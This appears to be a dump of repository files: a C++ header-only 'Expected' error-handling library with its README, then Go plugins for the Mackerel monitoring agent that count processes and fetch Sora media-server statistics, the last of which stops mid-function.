Expected<int&> intRef(k);
k = 1;
assert(*intRef == 1);
```
The whole implementation is in `libExpected` namespace.
Integration with CMake
----------------------
```cmake
add_subdirectory(third-party/lib-expected)
target_link_libraries(your-target
PRIVATE lib-expected
)
```
Tests can be allowed by setting `BUILD_TESTS` variable to `TRUE`:
```bash
mkdir -p build && cd build
cmake -DBUILD_TESTS=1 ..
```
How to use?
-----------
Hopefully, this short example might give you a rough idea about how this type could be used:
```c++
#include <lib-expected/expected.hpp>
using namespace libExpected;
Expected<std::string> getAttribute(const std::string& attributeName) {
auto attribute = mAttributes.find(attributeName);
if (attribute != mAttributes.end()) {
return *attribute;
}
return makeUnexpected("The attribute " + attributeName + " doesn't exist");
}
int main() {
auto id = getAttribute("id");
if (id) {
std::cout << "id=" << *id << '\n';
} else {
std::clog << "Error: " << id.error() << '\n';
return 1;
}
return 0;
}
```
<file_sep>/include/lib-expected/expected.hpp
#ifndef LIB_EXPECTED_EXPECTED_HPP_
#define LIB_EXPECTED_EXPECTED_HPP_
#include <cassert>
#include <functional>
#include <initializer_list>
#include <stdexcept>
#include <string>
#include <type_traits>
namespace libExpected {
namespace Detail {
template <typename TOtherError>
struct ExpectedError {
using Type = typename std::decay<TOtherError>::type;
};
template <std::size_t TSize>
struct ExpectedError<const char (&)[TSize]> {
using Type = std::string;
};
template <std::size_t TSize>
struct ExpectedError<const wchar_t (&)[TSize]> {
using Type = std::wstring;
};
} // namespace Detail
class InPlaceT final {
public:
InPlaceT() = delete;
enum class Construct { Token };
explicit constexpr InPlaceT(Construct) {}
};
static constexpr InPlaceT InPlace(InPlaceT::Construct::Token);
template <typename T>
class Unexpected final {
public:
using ValueType = T;
Unexpected() = delete;
explicit Unexpected(T error)
: mValue(std::move(error)) {}
const ValueType& value() const& noexcept(false) { return mValue; }
ValueType& value() & noexcept(false) { return mValue; }
ValueType&& value() && noexcept(false) { return std::move(mValue); }
private:
ValueType mValue;
};
template <class TError>
constexpr bool operator==(const Unexpected<TError>& lhs, const Unexpected<TError>& rhs) {
return lhs.value() == rhs.value();
}
template <class TError>
constexpr bool operator!=(const Unexpected<TError>& lhs, const Unexpected<TError>& rhs) {
return lhs.value() != rhs.value();
}
template <class TError>
constexpr bool operator<(const Unexpected<TError>& lhs, const Unexpected<TError>& rhs) {
return lhs.value() < rhs.value();
}
template <class TError>
constexpr bool operator>(const Unexpected<TError>& lhs, const Unexpected<TError>& rhs) {
return lhs.value() > rhs.value();
}
template <class TError>
constexpr bool operator<=(const Unexpected<TError>& lhs, const Unexpected<TError>& rhs) {
return lhs.value() <= rhs.value();
}
template <class TError>
constexpr bool operator>=(const Unexpected<TError>& lhs, const Unexpected<TError>& rhs) {
return lhs.value() >= rhs.value();
}
template <typename T>
Unexpected<typename Detail::ExpectedError<T>::Type> makeUnexpected(T&& error) {
return Unexpected<typename Detail::ExpectedError<T>::Type>(std::forward<T>(error));
}
class BadExpectedAccess : public std::exception {
public:
BadExpectedAccess() noexcept = default;
virtual const char* what() const noexcept override { return "Bad Expected access"; }
};
namespace swapDetail {
using std::swap;
template <typename T>
void adlSwap(T& t, T& u) noexcept(noexcept(swap(t, u))) {
swap(t, u);
}
} // namespace swapDetail
namespace detail {
template <bool TTest, typename TTrue, typename TFalse>
using Conditional = typename std::conditional<TTest, TTrue, TFalse>::type;
template <typename T>
using IsReference = std::is_reference<T>;
template <typename T>
using RemoveReference = typename std::remove_reference<T>::type;
template <typename T>
using ReferenceWrapper = std::reference_wrapper<T>;
template <typename T>
using ReferenceStorage =
Conditional<IsReference<T>::value, ReferenceWrapper<RemoveReference<T>>, RemoveReference<T>>;
template <bool TTest, typename TType = void>
using EnableIf = typename std::enable_if<TTest, TType>::type;
class Copyable {
public:
Copyable() = default;
Copyable(const Copyable&) = default;
Copyable& operator=(const Copyable&) = default;
};
class Movable {
public:
Movable() = default;
Movable(Movable&&) = default;
Movable& operator=(Movable&&) = default;
};
class Noncopyable {
public:
Noncopyable() = default;
Noncopyable(const Noncopyable&) = delete;
Noncopyable& operator=(const Noncopyable&) = delete;
};
class Nonmovable {
public:
Nonmovable() = default;
Nonmovable(Nonmovable&&) = delete;
Nonmovable& operator=(Nonmovable&&) = delete;
};
} // namespace detail
template <typename T, typename TError = std::string>
class Expected final
: protected detail::Conditional<std::is_copy_assignable<T>::value && std::is_copy_constructible<T>::value,
detail::Copyable,
detail::Noncopyable>,
protected detail::Conditional<std::is_move_assignable<T>::value && std::is_move_constructible<T>::value,
detail::Movable,
detail::Nonmovable> {
public:
static_assert(!std::is_rvalue_reference<T>::value, "Expected cannot be used with r-value references");
static_assert(!std::is_same<T, InPlaceT>::value, "Expected cannot be used with InPlaceT");
static_assert(!std::is_same<T, Unexpected<T>>::value, "Expected cannot be used with Unexpected");
using ValueType = detail::ReferenceStorage<T>;
using ErrorType = TError;
using value_type = ValueType; // std traits
using error_type = ErrorType; // std traits
using TRaw = typename std::remove_const<typename std::remove_reference<T>::type>::type;
using TPtr = TRaw*;
using TConstPtr = TRaw const*;
using TRef = T&;
using TConstRef = T const&;
private:
template <typename TOther>
static constexpr bool IsConstructibleOrConvertibleFrom() {
return std::is_constructible<ValueType, Expected<TOther>&>::value ||
std::is_constructible<ValueType, const Expected<TOther>&>::value ||
std::is_constructible<ValueType, Expected<TOther>&&>::value ||
std::is_constructible<ValueType, const Expected<TOther>&&>::value ||
std::is_convertible<Expected<TOther>&, ValueType>::value ||
std::is_convertible<const Expected<TOther>&, ValueType>::value ||
std::is_convertible<Expected<TOther>&&, ValueType>::value ||
std::is_convertible<const Expected<TOther>&&, ValueType>::value;
}
template <typename TOther>
static constexpr bool IsAssignableFrom() {
return std::is_assignable<ValueType&, Expected<TOther>&>::value ||
std::is_assignable<ValueType&, const Expected<TOther>&>::value ||
std::is_assignable<ValueType&, Expected<TOther>&&>::value ||
std::is_assignable<ValueType&, const Expected<TOther>&&>::value;
}
public:
/// Copy constructor
Expected(const Expected& other) noexcept(
std::is_nothrow_constructible<ValueType>::value&& std::is_nothrow_constructible<ErrorType>::value) {
static_assert(std::is_copy_constructible<ValueType>::value &&
std::is_copy_constructible<ErrorType>::value,
"The underlying type of Expected must be copy-constructible");
if (other.mHasValue) {
construct(other.mValue);
} else {
constructError(other.mError);
}
}
/// Move constructor
Expected(Expected&& other) noexcept(
std::is_nothrow_constructible<ValueType>::value&& std::is_nothrow_constructible<ErrorType>::value) {
static_assert(std::is_move_constructible<ValueType>::value &&
std::is_move_constructible<ErrorType>::value,
"The underlying type of Expected must be move-constructible");
if (other.mHasValue) {
construct(std::move(other.mValue));
} else {
constructError(std::move(other.mError));
}
}
/// Converting copy constructor
///
/// Only available if ValueType is copy-constructible
/// \note Conditionally explicit
template <typename TOther,
typename TOtherError,
detail::EnableIf<
(!std::is_same<ValueType, TOther>::value || !std::is_same<ErrorType, TOtherError>::value) &&
std::is_constructible<ValueType, const typename Expected<TOther>::ValueType&>::value &&
std::is_constructible<ErrorType, TOtherError&>::value &&
std::is_convertible<const typename Expected<TOther>::ValueType&, ValueType>::value &&
!IsConstructibleOrConvertibleFrom<TOther>(),
bool> = true>
Expected(const Expected<TOther, TOtherError>& other) {
if (other.mHasValue) {
construct(other.mValue);
} else {
constructError(other.mError);
}
}
template <typename TOther,
typename TOtherError,
detail::EnableIf<
(!std::is_same<ValueType, TOther>::value || !std::is_same<ErrorType, TOtherError>::value) &&
std::is_constructible<ValueType, const typename Expected<TOther>::ValueType&>::value &&
std::is_constructible<ErrorType, TOtherError&>::value &&
!std::is_convertible<const typename Expected<TOther>::ValueType&, ValueType>::value &&
!IsConstructibleOrConvertibleFrom<TOther>(),
bool> = false>
explicit Expected(const Expected<TOther, TOtherError>& other) {
if (other.mHasValue) {
construct(other.mValue);
} else {
constructError(other.mError);
}
}
/// Converting move constructor
///
/// Only available if ValueType is move-constructible
/// \note Conditionally explicit
template <typename TOther,
typename TOtherError,
detail::EnableIf<
(!std::is_same<ValueType, TOther>::value || !std::is_same<ErrorType, TOtherError>::value) &&
std::is_constructible<ValueType, const typename Expected<TOther>::ValueType&&>::value &&
std::is_constructible<ErrorType, TOtherError&&>::value &&
std::is_convertible<const typename Expected<TOther>::ValueType&&, ValueType>::value &&
!IsConstructibleOrConvertibleFrom<TOther>(),
bool> = true>
Expected(Expected<TOther, TOtherError>&& other) {
if (other.mHasValue) {
construct(std::move(other.mValue));
} else {
constructError(std::move(other.mError));
}
}
template <typename TOther,
typename TOtherError,
detail::EnableIf<
(!std::is_same<ValueType, TOther>::value || !std::is_same<ErrorType, TOtherError>::value) &&
std::is_constructible<ValueType, const typename Expected<TOther>::ValueType&&>::value &&
std::is_constructible<ErrorType, TOtherError&&>::value &&
!std::is_convertible<const typename Expected<TOther>::ValueType&&, ValueType>::value &&
!IsConstructibleOrConvertibleFrom<TOther>(),
bool> = false>
explicit Expected(Expected<TOther, TOtherError>&& other) {
if (other.mHasValue) {
construct(std::move(other.mValue));
} else {
constructError(std::move(other.mError));
}
}
/// In place constructor
template <typename... TArgs,
typename = detail::EnableIf<std::is_constructible<ValueType, TArgs&&...>::value>>
explicit Expected(InPlaceT,
TArgs&&... args) noexcept(std::is_nothrow_constructible<ValueType, TArgs...>::value) {
construct(std::forward<TArgs>(args)...);
}
template <typename TOther,
typename... TArgs,
typename = detail::EnableIf<
std::is_constructible<ValueType, std::initializer_list<TOther>&, TArgs&&...>::value>>
explicit Expected(InPlaceT,
std::initializer_list<TOther> list,
TArgs&&... args) noexcept(std::is_nothrow_constructible<ValueType, TArgs...>::value) {
construct(list, std::forward<TArgs>(args)...);
}
/// Constructor
template <
typename TOther = ValueType,
detail::EnableIf<std::is_constructible<ValueType, TOther&&>::value &&
std::is_convertible<typename Expected<TOther>::ValueType&&, ValueType>::value &&
!detail::IsReference<T>::value,
bool> = true>
Expected(TOther&& value) noexcept(std::is_nothrow_constructible<ValueType, TOther&&>::value) {
construct(std::forward<TOther>(value));
}
template <
typename TOther = ValueType,
detail::EnableIf<std::is_constructible<ValueType, TOther&&>::value &&
!std::is_convertible<typename Expected<TOther>::ValueType&&, ValueType>::value &&
!detail::IsReference<T>::value,
bool> = false>
explicit Expected(TOther&& value) noexcept(std::is_nothrow_constructible<ValueType, TOther&&>::value) {
construct(std::forward<TOther>(value));
}
template <typename...,
typename TOther = T,
detail::EnableIf<detail::IsReference<TOther>::value, bool> = true>
Expected(T&& value) noexcept(std::is_nothrow_constructible<ValueType, TOther&&>::value) {
construct(value);
}
template <typename TOtherError,
detail::EnableIf<std::is_constructible<ErrorType, TOtherError&&>::value &&
std::is_convertible<TOtherError&&, TError>::value,
bool> = true>
Expected(Unexpected<TOtherError> unexpected) noexcept(
std::is_nothrow_constructible<ErrorType, TOtherError&&>::value) {
new (reinterpret_cast<void*>(&mError)) TError(std::forward<TOtherError>(unexpected.value()));
}
template <typename TOtherError,
detail::EnableIf<std::is_constructible<ErrorType, TOtherError&&>::value &&
!std::is_convertible<TOtherError&&, TError>::value,
bool> = false>
explicit Expected(Unexpected<TOtherError> unexpected) noexcept(
std::is_nothrow_constructible<ErrorType, TOtherError&&>::value) {
new (reinterpret_cast<void*>(&mError)) TError(std::forward<TOtherError>(unexpected.value()));
}
// Destructor
~Expected() noexcept { reset(); }
// Assignment operators
Expected&
operator=(const Expected& other) noexcept(std::is_nothrow_assignable<ValueType, ValueType>::value&&
std::is_nothrow_assignable<ErrorType, ErrorType>::value) {
static_assert(
std::is_copy_assignable<ValueType>::value && std::is_copy_constructible<ValueType>::value &&
std::is_copy_assignable<ErrorType>::value && std::is_copy_constructible<ErrorType>::value,
"The underlying type of Expected must be copy-constructible and copy-assignable");
if (mHasValue && other.mHasValue) {
mValue = other.mValue;
} else {
reset();
if (other.mHasValue) {
construct(other.mValue);
} else {
constructError(other.mError);
}
}
return *this;
}
Expected&
operator=(Expected&& other) noexcept(std::is_nothrow_assignable<ValueType, ValueType>::value&&
std::is_nothrow_assignable<ErrorType, ErrorType>::value) {
static_assert(
std::is_move_assignable<ValueType>::value && std::is_move_constructible<ValueType>::value &&
std::is_move_assignable<ErrorType>::value && std::is_move_constructible<ErrorType>::value,
"The underlying type of Expected must be move-constructible and move-assignable");
if (mHasValue && other.mHasValue) {
mValue = std::move(other.mValue);
} else {
reset();
if (other.mHasValue) {
construct(std::move(other.mValue));
} else {
constructError(std::move(other.mError));
}
}
return *this;
}
template <typename TOther = ValueType>
detail::EnableIf<!std::is_same<Expected<TRaw>, typename std::decay<TOther>::type>::value &&
std::is_constructible<ValueType, TOther>::value &&
!(std::is_scalar<ValueType>::value &&
std::is_same<ValueType, typename std::decay<TOther>::type>::value) &&
std::is_assignable<ValueType&, TOther>::value,
Expected&>
operator=(TOther&& value) noexcept(std::is_nothrow_constructible<ValueType, TOther>::value) {
if (mHasValue) {
mValue = std::forward<TOther>(value);
} else {
construct(std::forward<TOther>(value));
}
return *this;
}
template <typename TOther, typename TOtherError>
detail::EnableIf<(!std::is_same<TOther, TRaw>::value || !std::is_same<ErrorType, TOtherError>::value) &&
std::is_constructible<ValueType, const TOther&>::value &&
std::is_constructible<ErrorType, const TOtherError&>::value &&
std::is_assignable<ValueType&, TOther>::value &&
std::is_assignable<ErrorType&, TOtherError>::value &&
!IsConstructibleOrConvertibleFrom<TOther>() && !IsAssignableFrom<TOther>(),
Expected&>
operator=(const Expected<TOther, TOtherError>& other) {
if (mHasValue && other.mHasValue) {
mValue = other.mValue;
} else if (!mHasValue && !other.mHasValue) {
mError = other.mError;
} else {
reset();
if (other.mHasValue) {
construct(other.mValue);
} else {
constructError(other.mError);
}
}
return *this;
}
// Modifiers
template <typename... TArgs,
typename = detail::EnableIf<!detail::IsReference<T>::value &&
std::is_constructible<ValueType, TArgs...>::value>>
ValueType& emplace(TArgs&&... args) noexcept(std::is_nothrow_constructible<ValueType, TArgs...>::value) {
reset();
construct(std::forward<TArgs>(args)...);
return mValue;
}
template <typename TOther,
typename... TArgs,
typename = detail::EnableIf<
!detail::IsReference<T>::value &&
std::is_constructible<ValueType, std::initializer_list<TOther>&, TArgs&&...>::value>>
ValueType& emplace(std::initializer_list<TOther> list,
TArgs&&... args) noexcept(std::is_nothrow_constructible<ValueType, TArgs...>::value) {
reset();
construct(list, std::forward<TArgs>(args)...);
return mValue;
}
void swap(Expected& other) noexcept(std::is_nothrow_move_constructible<ValueType>::value&& noexcept(
swapDetail::adlSwap(std::declval<T&>(), std::declval<T&>()))) {
using std::swap;
if (mHasValue && other.mHasValue) {
swap(mValue, other.mValue);
} else if (!mHasValue && !other.mHasValue) {
swap(mError, other.mError);
} else {
if (mHasValue) {
ValueType tmp = mValue;
mValue.~ValueType();
constructError(other.mError);
other.mError.~ErrorType();
other.construct(std::move(tmp));
assert(!mHasValue);
assert(other.mHasValue);
} else {
ValueType tmp = other.mValue;
other.mValue.~ValueType();
other.constructError(mError);
mError.~ErrorType();
construct(std::move(tmp));
assert(mHasValue);
assert(!other.mHasValue);
}
}
}
// Observers
explicit operator bool() const noexcept { return mHasValue; }
bool operator!() const noexcept { return !mHasValue; }
bool hasValue() const noexcept { return mHasValue; }
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
TConstPtr operator->() const noexcept {
assert(mHasValue);
return &mValue;
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<detail::IsReference<TOther>::value, bool> = 1>
TConstPtr operator->() const noexcept {
assert(mHasValue);
return &mValue.get();
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
TPtr operator->() noexcept {
assert(mHasValue);
return &mValue;
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<detail::IsReference<TOther>::value, bool> = 1>
TPtr operator->() noexcept {
assert(mHasValue);
return &mValue.get();
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
TConstRef operator*() const& noexcept {
assert(mHasValue);
return mValue;
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<detail::IsReference<TOther>::value, bool> = 1>
TConstRef operator*() const& noexcept {
assert(mHasValue);
return mValue.get();
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
TRef operator*() & noexcept {
assert(mHasValue);
return mValue;
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<detail::IsReference<TOther>::value, bool> = 1>
TRef operator*() & noexcept {
assert(mHasValue);
return mValue.get();
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
ValueType&& operator*() && noexcept {
assert(mHasValue);
return std::move(mValue);
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
const ValueType& value() const& noexcept(false) {
if (!mHasValue) {
throw BadExpectedAccess();
}
return mValue;
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<detail::IsReference<TOther>::value, bool> = 1>
TConstRef value() const& noexcept(false) {
if (!mHasValue) {
throw BadExpectedAccess();
}
return mValue.get();
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
ValueType& value() & noexcept(false) {
if (!mHasValue) {
throw BadExpectedAccess();
}
return mValue;
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<detail::IsReference<TOther>::value, bool> = 1>
TRef value() & noexcept(false) {
if (!mHasValue) {
throw BadExpectedAccess();
}
return mValue.get();
}
template <typename...,
typename TOther = T,
typename detail::EnableIf<!detail::IsReference<TOther>::value, bool> = 0>
ValueType&& value() && noexcept(false) {
if (!mHasValue) {
throw BadExpectedAccess();
}
return std::move(mValue);
}
const ErrorType& error() const& noexcept(false) {
if (mHasValue) {
throw BadExpectedAccess();
}
return mError;
}
ErrorType& error() & noexcept(false) {
if (mHasValue) {
throw BadExpectedAccess();
}
return mError;
}
ErrorType&& error() && noexcept(false) {
if (mHasValue) {
throw BadExpectedAccess();
}
return std::move(mError);
}
template <typename TOther,
detail::EnableIf<!detail::IsReference<T>::value && std::is_constructible<TRaw, TOther>::value,
int> = 0>
auto valueOr(TOther&& value) const noexcept(std::is_nothrow_constructible<TRaw, TOther>::value)
-> detail::EnableIf<std::is_constructible<TRaw, TOther>::value, TRaw> {
return mHasValue ? mValue : static_cast<TRaw>(std::forward<TOther>(value));
}
template <typename TOther,
detail::EnableIf<std::is_constructible<TRaw&, TOther&>::value && detail::IsReference<T>::value,
int> = 1>
TRef valueOr(TOther& value) noexcept(std::is_nothrow_constructible<TRaw, TOther>::value) {
return mHasValue ? mValue.get() : value;
}
template <typename TOther,
detail::EnableIf<std::is_constructible<const TRaw&, const TOther&>::value &&
detail::IsReference<T>::value,
int> = 2>
TConstRef valueOr(const TOther& value) const
noexcept(std::is_nothrow_constructible<TRaw, TOther>::value) {
return mHasValue ? static_cast<const TRaw&>(mValue.get()) : value;
}
private:
template <typename... TArgs>
void construct(TArgs&&... args) noexcept(std::is_nothrow_constructible<ValueType, TArgs...>::value) {
new (reinterpret_cast<void*>(&mValue)) ValueType(std::forward<TArgs>(args)...);
mHasValue = true;
}
template <typename... TArgs>
void constructError(TArgs&&... args) noexcept(std::is_nothrow_constructible<ErrorType, TArgs...>::value) {
new (reinterpret_cast<void*>(&mError)) ErrorType(std::forward<TArgs>(args)...);
mHasValue = false;
}
void reset() noexcept {
if (mHasValue) {
mHasValue = false;
mValue.~ValueType();
} else {
mError.~ErrorType();
}
}
union {
ErrorType mError;
ValueType mValue;
};
bool mHasValue = false;
template <typename TValueOther, typename TErrorOther>
friend class Expected;
};
// Compare Expected<T, TError> to Expected<T, TError>
template <typename T, typename TError>
constexpr bool operator==(const Expected<T, TError>& x, const Expected<T, TError>& y) {
return bool(x) != bool(y) ? false : bool(x) == false ? x.error() == y.error() : *x == *y;
}
template <typename T, typename TError>
constexpr bool operator!=(const Expected<T, TError>& x, const Expected<T, TError>& y) {
return !(x == y);
}
template <typename T, typename TError>
constexpr bool operator<(const Expected<T, TError>& x, const Expected<T, TError>& y) {
return (!y) ? false : (!x) ? true : *x < *y;
}
template <typename T, typename TError>
constexpr bool operator>(const Expected<T, TError>& x, const Expected<T, TError>& y) {
return (y < x);
}
template <typename T, typename TError>
constexpr bool operator<=(const Expected<T, TError>& x, const Expected<T, TError>& y) {
return !(y < x);
}
template <typename T, typename TError>
constexpr bool operator>=(const Expected<T, TError>& x, const Expected<T, TError>& y) {
return !(x < y);
}
// Compare Expected<T, TError> to T
template <typename T, typename TError>
constexpr bool operator==(const Expected<T, TError>& x, const T& v) {
return bool(x) ? *x == v : false;
}
template <typename T, typename TError>
constexpr bool operator==(const T& v, const Expected<T, TError>& x) {
return bool(x) ? v == *x : false;
}
template <typename T, typename TError>
constexpr bool operator!=(const Expected<T, TError>& x, const T& v) {
return bool(x) ? *x != v : true;
}
template <typename T, typename TError>
constexpr bool operator!=(const T& v, const Expected<T, TError>& x) {
return bool(x) ? v != *x : true;
}
template <typename T, typename TError>
constexpr bool operator<(const Expected<T, TError>& x, const T& v) {
return bool(x) ? *x < v : true;
}
template <typename T, typename TError>
constexpr bool operator>(const T& v, const Expected<T, TError>& x) {
return bool(x) ? v > *x : true;
}
template <typename T, typename TError>
constexpr bool operator>(const Expected<T, TError>& x, const T& v) {
return bool(x) ? *x > v : false;
}
template <typename T, typename TError>
constexpr bool operator<(const T& v, const Expected<T, TError>& x) {
return bool(x) ? v < *x : false;
}
template <typename T, typename TError>
constexpr bool operator>=(const Expected<T, TError>& x, const T& v) {
return bool(x) ? *x >= v : false;
}
template <typename T, typename TError>
constexpr bool operator<=(const T& v, const Expected<T, TError>& x) {
return bool(x) ? v <= *x : false;
}
template <typename T, typename TError>
constexpr bool operator<=(const Expected<T, TError>& x, const T& v) {
return bool(x) ? *x <= v : true;
}
template <typename T, typename TError>
constexpr bool operator>=(const T& v, const Expected<T, TError>& x) {
return bool(x) ? v >= *x : true;
}
template <class T, class TError>
constexpr bool operator==(const Expected<T, TError>& x, const Unexpected<TError>& e) {
return bool(x) ? false : x.error() == e.value();
}
template <class T, class TError>
constexpr bool operator==(const Unexpected<TError>& e, const Expected<T, TError>& x) {
return x == e;
}
template <class T, class TError>
constexpr bool operator!=(const Expected<T, TError>& x, const Unexpected<TError>& e) {
return bool(x) ? true : x.error() != e.value();
}
template <class T, class TError>
constexpr bool operator!=(const Unexpected<TError>& e, const Expected<T, TError>& x) {
return x != e;
}
template <class T, class TError>
constexpr bool operator<(const Expected<T, TError>& x, const Unexpected<TError>& e) {
return bool(x) ? false : x.error() < e.value();
}
template <class T, class TError>
constexpr bool operator<(const Unexpected<TError>& e, const Expected<T, TError>& x) {
return bool(x) ? true : e.value() < x.error();
}
template <class T, class TError>
constexpr bool operator<=(const Unexpected<TError>& e, const Expected<T, TError>& x) {
return bool(x) ? true : e.value() <= x.error();
}
template <class T, class TError>
constexpr bool operator>(const Unexpected<TError>& e, const Expected<T, TError>& x) {
return bool(x) ? false : e.value() > x.error();
}
template <class T, class TError>
constexpr bool operator>=(const Unexpected<TError>& e, const Expected<T, TError>& x) {
return bool(x) ? false : e.value() >= x.error();
}
template <class T, class TError>
constexpr bool operator>(const Expected<T, TError>& x, const Unexpected<TError>& e) {
return bool(x) ? true : x.error() > e.value();
}
template <class T, class TError>
constexpr bool operator<=(const Expected<T, TError>& x, const Unexpected<TError>& e) {
return bool(x) ? false : x.error() <= e.value();
}
template <class T, class TError>
constexpr bool operator>=(const Expected<T, TError>& x, const Unexpected<TError>& e) {
return bool(x) ? true : x.error() >= e.value();
}
} // namespace libExpected
namespace std {
template <typename T, typename TError>
struct hash<libExpected::Expected<T, TError>> {
using argument_type = libExpected::Expected<T, TError>;
using result_type = std::size_t;
result_type operator()(const argument_type& o) const
noexcept(noexcept(hash<T>{}(*o)) && noexcept(hash<TError>{}(o.error()))) {
return o.hasValue() ? std::hash<T>{}(o.value()) : std::hash<TError>{}(o.error());
}
};
template <typename T, typename TError>
void swap(libExpected::Expected<T, TError>& lhs, libExpected::Expected<T, TError>& rhs) {
lhs.swap(rhs);
}
} // namespace std
#endif // LIB_EXPECTED_EXPECTED_HPP_
| efd82524b0b6aac864e6c2eff452daa4ee9b8969 | [
"Markdown",
"C++"
] | 3 | C++ | proxict/lib-expected | edbdf5639612695c86bba2fd86b43ecf2d356ec1 | 5c00dc9c74f181c01d417689c608d6e0ac3c90b9 |
refs/heads/master | <file_sep>.PHONY: all
all:
go build -o mackerel-plugin-proc-cnt main.go
.PHONY: package
package:
${GOPATH}/bin/gox --osarch "linux/amd64"
<file_sep>mackerel-plugin-proc-cnt
=======================
Process count custom metrics plugin for mackerel.io.agent.
## Synopsis
```shell
mackerel-plugin-proc-cnt [-process=<Process name>]
```
## Exapmle of mackerel-agent-conf
```
[plugin.metrics.proc_cnt]
command = "/path/to/mackerel-plugin-proc-cnt -process nginx"
```
## Build
```
$ go get github.com/zenkigen/mackerel-agent-plugins
$ github.com/mackerelio/go-mackerel-plugin
$ go get github.com/mattn/go-pipeline
$ go build main.go
```
<file_sep>package mpproccnt
import (
"flag"
"fmt"
"os"
"regexp"
"strconv"
"strings"
mp "github.com/mackerelio/go-mackerel-plugin"
"github.com/mattn/go-pipeline"
)
// ProccntPlugin mackerel plugin
type ProccntPlugin struct {
Process string
Prefix string
NormalizedProcess string
MetricName string
}
// MetricKeyPrefix interface for PluginWithPrefix
func (p ProccntPlugin) MetricKeyPrefix() string {
if p.Prefix == "" {
p.Prefix = "proc-cnt"
}
return p.Prefix
}
// GraphDefinition interface for mackerelplugin
func (p ProccntPlugin) GraphDefinition() map[string]mp.Graphs {
return map[string]mp.Graphs{
p.NormalizedProcess: {
Label: fmt.Sprintf("Process Count of %s", p.NormalizedProcess),
Unit: mp.UnitInteger,
Metrics: []mp.Metrics{
{Name: "processes", Label: "Active processes", Diff: false},
},
},
}
}
// FetchMetrics interface for mackerelplugin
func (p ProccntPlugin) FetchMetrics() (map[string]float64, error) {
stats := make(map[string]float64)
// Fetch all pids withc contains specified process name
out, err := pipeline.Output(
[]string{"ps", "aux"},
[]string{"grep", p.Process},
[]string{"grep", "-v", "grep"},
[]string{"grep", "-v", "mackerel-plugin-proc-cnt"},
[]string{"wc", "-l"},
)
if err != nil {
// No matching with p.Process
stats["processes"] = 0
return stats, nil
}
procNum, err := strconv.ParseFloat(strings.TrimSpace(string(out)), 64)
if err != nil {
return nil, err
}
stats["processes"] = procNum
return stats, nil
}
func normalizeForMetricName(process string) string {
// Mackerel accepts following characters in custom metric names
// [-a-zA-Z0-9_.]
re := regexp.MustCompile("[^-a-zA-Z0-9_.]")
return re.ReplaceAllString(process, "_")
}
// Do the plugin
func Do() {
optProcess := flag.String("process", "", "Process name")
optPrefix := flag.String("metric-key-prefix", "", "Metric key prefix")
optTempfile := flag.String("tempfile", "", "Temp file name")
flag.Parse()
if *optProcess == "" {
flag.PrintDefaults()
os.Exit(1)
}
var cnt ProccntPlugin
cnt.Process = *optProcess
cnt.Prefix = *optPrefix
cnt.NormalizedProcess = normalizeForMetricName(*optProcess)
helper := mp.NewMackerelPlugin(cnt)
helper.Tempfile = *optTempfile
helper.Run()
}
<file_sep>package main
import "github.com/zenkigen/mackerel-agent-plugins/check-file-existence/lib"
func main() {
checkexistence.Do()
}
<file_sep>package mpsorastats
import (
"flag"
"fmt"
"io"
"log"
"encoding/json"
"net/http"
mp "github.com/mackerelio/go-mackerel-plugin"
)
// SoraStats : JSON struct for sora stats API response
type SoraStats struct {
AverageDurationSec int `json:"average_duration_sec"`
AverageSetupTimeMsec int `json:"average_setup_time_msec"`
TotalDurationSec int `json:"total_duration_sec"`
TotalFailedConnections int `json:"total_failed_connections"`
TotalOngoingConnections int `json:"total_ongoing_connections"`
TotalSuccessfulConnections int `json:"total_successful_connections"`
TotalTurnTCPConnections int `json:"total_turn_tcp_connections"`
TotalTurnUDPConnections int `json:"total_turn_udp_connections"`
}
// SorastatsPlugin mackerel plugin
type SorastatsPlugin struct {
URI string
Prefix string
}
// MetricKeyPrefix interface for PluginWithPrefix
func (s SorastatsPlugin) MetricKeyPrefix() string {
if s.Prefix == "" {
s.Prefix = "sora-stats"
}
return s.Prefix
}
// GraphDefinition interface for mackerelplugin
func (s SorastatsPlugin) GraphDefinition() map[string]mp.Graphs {
return map[string]mp.Graphs{
"ongoing_connections": {
Label: "Sora Ongoing Connections",
Unit: mp.UnitInteger,
Metrics: []mp.Metrics{
{Name: "ongoing_connections", Label: "Current Ongoing connections", Diff: false},
},
},
"average_connections": {
Label: "Sora Average Connections in 1 minutes",
Unit: mp.UnitFloat,
Metrics: []mp.Metrics{
{Name: "successful_connections", Label: "Successful connections in last 1 minutes", Diff: true},
{Name: "failed_connections", Label: "Failed connections in last 1 minutes", Diff: true},
},
},
"duration": {
Label: "Sora Average Duration [sec]",
Unit: mp.UnitInteger,
Metrics: []mp.Metrics{
{Name: "average_duration_sec", Label: "Average duration [sec]", Diff: false},
},
},
"setup_time": {
Label: "Sora Average Setup Time [msec]",
Unit: mp.UnitInteger,
Metrics: []mp.Metrics{
{Name: "average_setup_time_msec", Label: "Average setup time [msec]", Diff: false},
},
},
"turn_connections": {
Label: "Sora Turn Connections in 1 minutes",
Unit: mp.UnitFloat,
Metrics: []mp.Metrics{
{Name: "turn_tcp_connections", Label: "turn tcp connections in last 1 minutes", Diff: true},
{Name: "turn_udp_connections", Label: "turn udp connections in last 1 minutes", Diff: true},
},
},
}
}
// FetchMetrics interface for mackerelplugin
func (s SorastatsPlugin) FetchMetrics() (map[string]float64, error) {
// Fetch stats report from Sora
req, err := http.NewRequest("POST", s.URI, nil)
if err != nil {
return nil, err
}
req.Header.Set("x-sora-target", "Sora_20171010.GetStatsReport")
